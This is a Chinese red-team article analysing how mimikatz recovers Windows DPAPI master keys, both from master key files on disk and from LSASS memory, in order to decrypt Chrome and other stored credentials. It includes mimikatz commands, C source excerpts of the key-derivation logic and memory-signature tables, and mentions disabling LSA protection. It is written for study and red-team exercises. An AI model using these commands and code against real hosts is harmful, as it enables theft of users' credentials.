作者: 騰訊IT技術
原文鏈接:https://mp.weixin.qq.com/s/VZWM3p-XPX7JP23s-R859A

導語

滲透的本質就是信息搜集,在后滲透階段獲取目標機器權限后,經常需要獲取瀏覽器加密憑據和遠程桌面RDP憑據等等,攻擊隊員一般利用 mimikatz 工具實現離線解密。為了更好的理解攻擊原理,本文會介紹mimikatz如何進行解密以及代碼是如何實現的。

1. 從實際的后滲透場景開始

先介紹藍軍如何使用 mimikatz 對Chrome密碼進行解密的,分為以下兩種場景:

場景1:在受害者主機上,以用戶的安全上下文中解密Chrome憑據:

圖片

場景2:當將Chrome加密數據庫拖到本地進行解密時,使用 mimikatz 離線解密 Chrome 憑據:

圖片

以上嘗試會提示該數據被 DPAPI 保護,這個時候如果已在此前獲取到 master key 則可以完成離線解密:

圖片

在這兩個解密場景下,命令均在 mimikatz 的 dpapi 模塊下,以及在上面的示范中也提到了 matser key 這個參數。如果需要了解到 mimikatz 的解密實現,則需要從 DPAPI 以及 mimikatz 的代碼實現兩個方面來看。

2. Windows下通用數據保護方案—DPAPI

Windows系統下,為了使開發者可以實施針對用戶身份上下文加密的方案,系統向開發者提供了一個強大的數據保護API——DPAPI,開發者使用該 API 加密的數據在解密時會使用用戶身份的上下文解密,使得該數據僅可被當前用戶解密。DPAP 針對用戶加密的方案可以抽象的理解為,不同的用戶安全上下文相關會產生不同的 DPAPI master key,這個DPAPI master key 相當于一個密鑰,這個調用DPAPI master key 實施加解密的過程由系統直接操作,所以從攻擊者視角來看,如果有方式竊取到用戶的 DPAPI master key 就可以離線解密用戶的敏感憑據,接下來我們將開始逐步了解 DPAPI ,從而逐步達成這個解密目的。

2.1 敏感信息保護:DPAPI介紹

DPAPI (Data Protection API) 從Windows 2000開始引入,MSDN中舉例DPAPI可以用來保護的數據有:

Web page credentials (for example, passwords)

File share credentials

Private keys associated with Encrypting File System(EFS), S/MIME, and other certificates

Program data that is protected using the CryptProtectData function

2.2 DPAPI 的工作原理

DPAPI通過由512-bit偽隨機數的master key派生的數據來進行加密保護。每個用戶賬戶都有?個或者多個隨機生成的master key,master key會定期更新,默認更新頻率為90天,master key的過期時間會保存在master key file 同級目錄的Prefererd文件中。master key會被由賬戶登錄密碼hash和SID生成的derived key加密,文件名是?個UUID。

用戶master key文件位于%APPDATA%\Microsoft\Protect\%SID%

系統master key文件位于%WINDIR%\System32\Microsoft\Protect\S-1-5-18\User

圖片

值得注意的是,在新版本Windows 10中master key文件會被設置為操作系統文件,默認不會在explorer中顯示, 需要取消隱藏。

圖片

上文中CryptProtectData的dwFlags參數為0的情況下,DPAPI會使用當前用戶的master key進行加密操作,如果期望當前機器上所有用戶的進程都能夠解密數據的話,可以通過設置CRYPTPROTECT_LOCAL_MACHINE flag,它會使DPAPI的加解密操作中機器級別進行。

3. 從 mimikatz 中看 DPAPI master key 獲取邏輯

mimikatz中有兩個模塊可以用來獲取DPAPI master key,分別是從磁盤文件獲取master key的dpapi::masterkey,和從LSASS進程內存獲取master key的sekurlsa::dpapi。

接下來通過閱讀mimikatz源碼,來學習如何從[文件]以及[內存]兩種途徑來獲取DPAPI master key。

3.1 dpapi::masterkey

dpapi::masterkey 命令可以通過磁盤上的加密master key來解密出真正的DPAPI master key,需要傳入三個參數:master key文件,用戶SID,用戶登錄密碼,相關命令如下:

dpapi::masterkey/in:"C:\Users\x\AppData\Roaming\Microsoft\Protect\S-1-5-21-1333135361-625243220-14044502-1002382[UUID]"/sid:S-1-5-21-1333135361-625243220-14044502-1002382 /password:password /protected

圖片

下面的分析只針對最常見的解密master key流程,

定位到mimikatz/modules/dpapi/kuhl_m_dpapi.c,解密流程如下:

首先,讀取磁盤上的master key文件,并在內存中分配master key結構體**

kull_m_file_readData(szIn, &buffer, &szBuffer);
PKULL_M_DPAPI_MASTERKEYS masterkeys = kull_m_dpapi_masterkeys_create(buffer);
master key的結構定義在mimikatz/modules/kull_m_dpapi.h
typedef struct _KULL_M_DPAPI_MASTERKEY {
    DWORD   dwVersion;
    BYTE    salt[16];
    DWORD   rounds;
    ALG_ID  algHash;
    ALG_ID  algCrypt;
    PBYTE   pbKey;
    DWORD   __dwKeyLen;
} KULL_M_DPAPI_MASTERKEY, *PKULL_M_DPAPI_MASTERKEY;

typedef struct _KULL_M_DPAPI_MASTERKEYS {
    DWORD   dwVersion;
    DWORD   unk0;
    DWORD   unk1;
    WCHAR   szGuid[36];
    DWORD   unk2;
    DWORD   unk3;
    DWORD   dwFlags;
    DWORD64 dwMasterKeyLen;
    DWORD64 dwBackupKeyLen;
    DWORD64 dwCredHistLen;
    DWORD64 dwDomainKeyLen;
    PKULL_M_DPAPI_MASTERKEY MasterKey;
    PKULL_M_DPAPI_MASTERKEY BackupKey;
    PKULL_M_DPAPI_MASTERKEY_CREDHIST    CredHist;
    PKULL_M_DPAPI_MASTERKEY_DOMAINKEY   DomainKey;
} KULL_M_DPAPI_MASTERKEYS, *PKULL_M_DPAPI_MASTERKEYS;
調用kull_m_dpapi_masterkeys_create將master key的成員copy到正確的偏移處
PKULL_M_DPAPI_MASTERKEYS kull_m_dpapi_masterkeys_create(LPCVOID data/*, DWORD size*/)
{
    PKULL_M_DPAPI_MASTERKEYS masterkeys = NULL;
    if(data && (masterkeys = (PKULL_M_DPAPI_MASTERKEYS) LocalAlloc(LPTR, sizeof(KULL_M_DPAPI_MASTERKEYS))))
    {
        RtlCopyMemory(masterkeys, data, FIELD_OFFSET(KULL_M_DPAPI_MASTERKEYS, MasterKey));
        if(masterkeys->dwMasterKeyLen)
            masterkeys->MasterKey = kull_m_dpapi_masterkey_create((PBYTE) data + FIELD_OFFSET(KULL_M_DPAPI_MASTERKEYS, MasterKey) + 0, masterkeys->dwMasterKeyLen);
        if(masterkeys->dwBackupKeyLen)
            masterkeys->BackupKey = kull_m_dpapi_masterkey_create((PBYTE) data + FIELD_OFFSET(KULL_M_DPAPI_MASTERKEYS, MasterKey) + masterkeys->dwMasterKeyLen, masterkeys->dwBackupKeyLen);
        if(masterkeys->dwCredHistLen)
            masterkeys->CredHist = kull_m_dpapi_masterkeys_credhist_create((PBYTE) data + FIELD_OFFSET(KULL_M_DPAPI_MASTERKEYS, MasterKey) + masterkeys->dwMasterKeyLen + masterkeys->dwBackupKeyLen, masterkeys->dwCredHistLen);
        if(masterkeys->dwDomainKeyLen)
            masterkeys->DomainKey = kull_m_dpapi_masterkeys_domainkey_create((PBYTE) data + FIELD_OFFSET(KULL_M_DPAPI_MASTERKEYS, MasterKey) + masterkeys->dwMasterKeyLen + masterkeys->dwBackupKeyLen + masterkeys->dwCredHistLen, masterkeys->dwDomainKeyLen);
    }
    return masterkeys;
}

2) 接著,遍歷全局緩存的CredentialEntry,嘗試用緩存的Derive Key進行解密

通過SID定位Credential Entry
if(masterkeys->CredHist)
  pCredentialEntry = kuhl_m_dpapi_oe_credential_get(NULL, &masterkeys->CredHist->guid);
if(!pCredentialEntry && convertedSid)
  pCredentialEntry = kuhl_m_dpapi_oe_credential_get(convertedSid, NULL);
通過master key文件的元數據確定hash算法
if(pCredentialEntry)
{
  kprintf(L"\n[masterkey] with volatile cache: "); kuhl_m_dpapi_oe_credential_descr(pCredentialEntry);
  if(masterkeys->dwFlags & 4)
  {
    if(pCredentialEntry->data.flags & KUHL_M_DPAPI_OE_CREDENTIAL_FLAG_SHA1)
      derivedKey = pCredentialEntry->data.sha1hashDerived;
  }
  else
  {
    if(pCredentialEntry->data.flags & KUHL_M_DPAPI_OE_CREDENTIAL_FLAG_MD4)
      derivedKey = pCredentialEntry->data.md4hashDerived;
  }
接著通過derived key進行解密
if(derivedKey)
{
  if(kull_m_dpapi_unprotect_masterkey_with_shaDerivedkey(masterkeys->MasterKey, derivedKey, SHA_DIGEST_LENGTH, &output, &cbOutput))
  {
    if(masterkeys->CredHist)
      kuhl_m_dpapi_oe_credential_copyEntryWithNewGuid(pCredentialEntry, &masterkeys->CredHist->guid);
    kuhl_m_dpapi_display_MasterkeyInfosAndFree(statusGuid ? &guid : NULL, output, cbOutput, NULL);
  }
}

全局緩存的gDPAPI_MasterKeys/gDPAPI_Credentials/gDPAPI_DomainKeys都為LIST_ENTRY鏈表結構,當解密dpapi master key成功時,mimikatz會將解密成功的entry添加到該緩存鏈表中。

3) 當上一步的緩存沒有命中,則通過用戶提交的password進行解密(或提交hash代替密碼)

if(kull_m_string_args_byName(argc, argv, L"password", &szPassword, NULL))
{
  kprintf(L"\n[masterkey] with password: %s (%s user)\n", szPassword, isProtected ? L"protected" : L"normal");
  if(kull_m_dpapi_unprotect_masterkey_with_password(masterkeys->dwFlags, masterkeys->MasterKey, szPassword, convertedSid, isProtected, &output, &cbOutput))
  {
    kuhl_m_dpapi_oe_credential_add(convertedSid, masterkeys->CredHist ? &masterkeys->CredHist->guid : NULL, NULL, NULL, NULL, szPassword);
    kuhl_m_dpapi_display_MasterkeyInfosAndFree(statusGuid ? &guid : NULL, output, cbOutput, NULL);
  }
  else PRINT_ERROR(L"kull_m_dpapi_unprotect_masterkey_with_password\n");
}
kull_m_dpapi_unprotect_masterkey_with_password函數中將password進行hash,然后使用hash調用kull_m_dpapi_unprotect_masterkey_with_userHash函數
PassAlg = (flags & 4) ? CALG_SHA1 : CALG_MD4;
PassLen = kull_m_crypto_hash_len(PassAlg);
if(PassHash = LocalAlloc(LPTR, PassLen))
{
  if(kull_m_crypto_hash(PassAlg, password, (DWORD) wcslen(password) * sizeof(wchar_t), PassHash, PassLen))
    status = kull_m_dpapi_unprotect_masterkey_with_userHash(masterkey, PassHash, PassLen, sid, isKeyOfProtectedUser, output, outputLen);
  LocalFree(PassHash);
}

kull_m_dpapi_unprotect_masterkey_with_userHash函數中會將hash進行兩次pkcs5_pbkdf2_hmac處理
BYTE sha2[32];
if(kull_m_crypto_pkcs5_pbkdf2_hmac(CALG_SHA_256, PassHash, PassLen, sid, SidLen, 10000, sha2, sizeof(sha2), FALSE))
  status = kull_m_crypto_pkcs5_pbkdf2_hmac(CALG_SHA_256, sha2, sizeof(sha2), sid, SidLen, 1, (PBYTE) PassHash, PassLen, FALSE);

接著將SID和hash一起進行SHA1 hash處理,生成Derived Key,然后調用kull_m_dpapi_unprotect_masterkey_with_shaDerivedkey函數進行最后的解密。上一節通過緩存的Derived Key進行解密的步驟就是直接進入這一步。
if(sid)
  status = kull_m_crypto_hmac(CALG_SHA1, hash, hashLen, sid, (lstrlen(sid) + 1) * sizeof(wchar_t), sha1DerivedKey, SHA_DIGEST_LENGTH);
else RtlCopyMemory(sha1DerivedKey, hash, min(sizeof(sha1DerivedKey), hashLen));

if(!sid || status)
  status = kull_m_dpapi_unprotect_masterkey_with_shaDerivedkey(masterkey, sha1DerivedKey, SHA_DIGEST_LENGTH, output, outputLen);
通過Derived Key解密master key
HMACAlg = (masterkey->algHash == CALG_HMAC) ? CALG_SHA1 : masterkey->algHash;
HMACLen = kull_m_crypto_hash_len(HMACAlg);
KeyLen =  kull_m_crypto_cipher_keylen(masterkey->algCrypt);
BlockLen = kull_m_crypto_cipher_blocklen(masterkey->algCrypt);

if(HMACHash = LocalAlloc(LPTR, KeyLen + BlockLen))
{
  kull_m_crypto_pkcs5_pbkdf2_hmac(HMACAlg, shaDerivedkey, shaDerivedkeyLen, masterkey->salt, sizeof(masterkey->salt), masterkey->rounds, (PBYTE) HMACHash, KeyLen + BlockLen, TRUE));
  kull_m_crypto_hkey_session(masterkey->algCrypt, HMACHash, KeyLen, 0, &hSessionKey, &hSessionProv));
  CryptSetKeyParam(hSessionKey, KP_IV, (PBYTE) HMACHash + KeyLen, 0));
  OutLen = masterkey->__dwKeyLen;
  CryptBuffer = LocalAlloc(LPTR, OutLen));
  RtlCopyMemory(CryptBuffer, masterkey->pbKey, OutLen);
  CryptDecrypt(hSessionKey, 0, FALSE, 0, (PBYTE) CryptBuffer, &OutLen));
  *outputLen = OutLen - 16 - HMACLen - ((masterkey->algCrypt == CALG_3DES) ? 4 : 0); // reversed -- see with blocklen like in protect
  hmac1 = LocalAlloc(LPTR, HMACLen));
  kull_m_crypto_hmac(HMACAlg, shaDerivedkey, shaDerivedkeyLen, CryptBuffer, 16, hmac1, HMACLen))
  hmac2 = LocalAlloc(LPTR, HMACLen))
  kull_m_crypto_hmac(HMACAlg, hmac1, HMACLen, (PBYTE) CryptBuffer + OutLen - *outputLen, *outputLen, hmac2, HMACLen))
  if(status = RtlEqualMemory(hmac2, (PBYTE) CryptBuffer + 16, HMACLen))
  {
    if(*output = LocalAlloc(LPTR, *outputLen))
      RtlCopyMemory(*output, (PBYTE) CryptBuffer + OutLen - *outputLen, *outputLen);
  }
}

3.2 sekurlsa::dpapi

圖片

Sekurlsa模塊中的功能都是通過操作LSASS進程內存實現的,調用該模塊功能時都需要調用一個通用的初始化函數kuhl_m_sekurlsa_acquireLSA,該函數會從LSASS進程中讀出一些必要信息,所以是需要elevate和DebugPrivilege權限的。并且當LSA以PPL保護運行時,還需要使用諸如PPL Killer來關閉才能夠正常獲取LSASS進程句柄。

sekurlsa::dpapi是通過通過內存簽名搜索LSASS進程空間來找到其中緩存的master key,具體代碼就不詳細分析了,本質就是通過kernel32!ReadProcessMemory進行內存搜索。各位讀者如果研究過sekurlsa模塊源碼,就會對其中的回調函數和內存簽名搜索很熟悉。

關鍵的功能點函數是這一個:

kuhl_m_sekurlsa_utils_search_generic(pData->cLsass,&pPackage->Module, MasterKeyCacheReferences,ARRAYSIZE(MasterKeyCacheReferences), (PVOID *) &pMasterKeyCacheList, NULL, NULL, NULL);

mimikatz中定義的不同架構和不同版本的master key cache內存簽名

#if defined(_M_ARM64)
BYTE PTRN_WI64_1803_MasterKeyCacheList[] = {0x09, 0xfd, 0xdf, 0xc8, 0x80, 0x42, 0x00, 0x91, 0x20, 0x01, 0x3f, 0xd6};
KULL_M_PATCH_GENERIC MasterKeyCacheReferences[] = {
    {KULL_M_WIN_BUILD_10_1803,  {sizeof(PTRN_WI64_1803_MasterKeyCacheList), PTRN_WI64_1803_MasterKeyCacheList}, {0, NULL}, {16, 8}},
};
#elif defined(_M_X64)
BYTE PTRN_W2K3_MasterKeyCacheList[] = {0x4d, 0x3b, 0xee, 0x49, 0x8b, 0xfd, 0x0f, 0x85};
BYTE PTRN_WI60_MasterKeyCacheList[] = {0x49, 0x3b, 0xef, 0x48, 0x8b, 0xfd, 0x0f, 0x84};
BYTE PTRN_WI61_MasterKeyCacheList[] = {0x33, 0xc0, 0xeb, 0x20, 0x48, 0x8d, 0x05}; // InitializeKeyCache to avoid  version change
BYTE PTRN_WI62_MasterKeyCacheList[] = {0x4c, 0x89, 0x1f, 0x48, 0x89, 0x47, 0x08, 0x49, 0x39, 0x43, 0x08, 0x0f, 0x85};
BYTE PTRN_WI63_MasterKeyCacheList[] = {0x08, 0x48, 0x39, 0x48, 0x08, 0x0f, 0x85};
BYTE PTRN_WI64_MasterKeyCacheList[] = {0x48, 0x89, 0x4e, 0x08, 0x48, 0x39, 0x48, 0x08};
BYTE PTRN_WI64_1607_MasterKeyCacheList[]    = {0x48, 0x89, 0x4f, 0x08, 0x48, 0x89, 0x78, 0x08};

KULL_M_PATCH_GENERIC MasterKeyCacheReferences[] = {
    {KULL_M_WIN_BUILD_2K3,      {sizeof(PTRN_W2K3_MasterKeyCacheList),  PTRN_W2K3_MasterKeyCacheList},  {0, NULL}, {-4}},
    {KULL_M_WIN_BUILD_VISTA,    {sizeof(PTRN_WI60_MasterKeyCacheList),  PTRN_WI60_MasterKeyCacheList},  {0, NULL}, {-4}},
    {KULL_M_WIN_BUILD_7,        {sizeof(PTRN_WI61_MasterKeyCacheList),  PTRN_WI61_MasterKeyCacheList},  {0, NULL}, { 7}},
    {KULL_M_WIN_BUILD_8,        {sizeof(PTRN_WI62_MasterKeyCacheList),  PTRN_WI62_MasterKeyCacheList},  {0, NULL}, {-4}},
    {KULL_M_WIN_BUILD_BLUE,     {sizeof(PTRN_WI63_MasterKeyCacheList),  PTRN_WI63_MasterKeyCacheList},  {0, NULL}, {-10}},
    {KULL_M_WIN_BUILD_10_1507,  {sizeof(PTRN_WI64_MasterKeyCacheList),  PTRN_WI64_MasterKeyCacheList},  {0, NULL}, {-7}},
    {KULL_M_WIN_BUILD_10_1607,  {sizeof(PTRN_WI64_1607_MasterKeyCacheList), PTRN_WI64_1607_MasterKeyCacheList}, {0, NULL}, {11}},
};
#elif defined(_M_IX86)
BYTE PTRN_WALL_MasterKeyCacheList[] = {0x33, 0xc0, 0x40, 0xa3};
BYTE PTRN_WI60_MasterKeyCacheList[] = {0x8b, 0xf0, 0x81, 0xfe, 0xcc, 0x06, 0x00, 0x00, 0x0f, 0x84};
KULL_M_PATCH_GENERIC MasterKeyCacheReferences[] = {
    {KULL_M_WIN_BUILD_XP,       {sizeof(PTRN_WALL_MasterKeyCacheList),  PTRN_WALL_MasterKeyCacheList},  {0, NULL}, {-4}},
    {KULL_M_WIN_MIN_BUILD_8,    {sizeof(PTRN_WI60_MasterKeyCacheList),  PTRN_WI60_MasterKeyCacheList},  {0, NULL}, {-16}},// ?
    {KULL_M_WIN_MIN_BUILD_BLUE, {sizeof(PTRN_WALL_MasterKeyCacheList),  PTRN_WALL_MasterKeyCacheList},  {0, NULL}, {-4}},
};
#endif

4. 總結

本文介紹了Windows DPAPI的用途、用法和工作方式,并結合mimikatz的源碼分析了如何獲取DPAPI master key 來進行后續的敏感信息解密操作,通過學習mimikatz DPAPI相關源碼,藍軍能夠更好的利用 DPAPI 的特性與能力來展開演習。

5. Ref


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1755/